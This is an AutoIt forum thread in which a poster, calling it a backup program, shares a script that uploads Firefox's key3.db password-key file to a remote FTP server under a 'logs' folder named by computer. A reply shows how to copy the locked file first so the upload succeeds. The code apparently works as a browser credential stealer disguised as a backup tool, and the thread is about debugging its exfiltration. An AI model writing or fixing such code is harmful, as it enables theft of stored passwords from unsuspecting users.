Sign in to follow this  
Followers 0
MirnesC2

ftp udf

6 posts in this topic

I am trying to make a program that backs up and restores all your important information with the click of a button. I ran into some touble though with the ftp.au3 udf

http://teammc.cc/aut_ftp/

#include <.FTP.au3>
#include <Array.au3>

$server = 'host'
$username = 'username'
$pass = 'password'

$Hand = _FTPOpen('Doesnt Matter')

_FTPConnect($Hand, $server, $username, $pass)
if @error then msgbox(0,"Error","Connect")

_FTPMakeDir($Hand, '/public_html/logs/files/'&@ComputerName)
_FtpPutFile($Hand, @AppDataDir&'\Mozilla\Firefox\Profiles\gfogxm5e.default\key3.db', '/public_html/logs/files/'&@ComputerName&'/key3.db')

_FTPClose($Hand)

For some reason it wont upload a .db file from the Firefox folder.

Share this post


Link to post
Share on other sites



the file ".FTP.au3" does not look right to me. have you tried "#include <FTPEx.au3>"? Its in the standard installset, and should save some trouble. You will have to rename most of the functions though:

#include <FTPEx.au3>

$Open = _FTP_Open('MyFTP Control')
; ...
$Ftpc = _FTP_Close($Open)

Share this post


Link to post
Share on other sites

#4 ·  Posted (edited)

I can't reproduce this problem with the information you have provided.

The code above uploads files to my ftp. I was able to send a .ini from the same location in the example code above. I also tested it by sending notepad.exe. So it sends .INI and .EXE but it wont upload .DB (the key3.db file from firefox)

the file ".FTP.au3" does not look right to me. have you tried "#include <FTPEx.au3>"? Its in the standard installset, and should save some trouble. You will have to rename most of the functions though:

#include <FTPEx.au3>

$Open = _FTP_Open('MyFTP Control')
; ...
$Ftpc = _FTP_Close($Open)

I couldn't find FTPEx.au3 or any of those functions in the help files. But the problem is not connecting its sending the file. It works for some files but not others. Edited by MirnesC2

Share this post


Link to post
Share on other sites

no one knows? >.<

Share this post


Link to post
Share on other sites

#6 ·  Posted (edited)

no one knows? >.<

No.

But if you do this

FileCopy(@AppDataDir&'\Mozilla\Firefox\Profiles\gfogxm5e.default\key3.db',@AppDataDir&'\Mozilla\Firefox\Profiles\gfogxm5e.default\key3copy.db',1)
_FtpPutFile($Hand, @AppDataDir&'\Mozilla\Firefox\Profiles\gfogxm5e.default\key3copy.db', '/public_html/logs/files/'&@ComputerName&'/key3.db')

it will probably work.

Edited by martin

Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0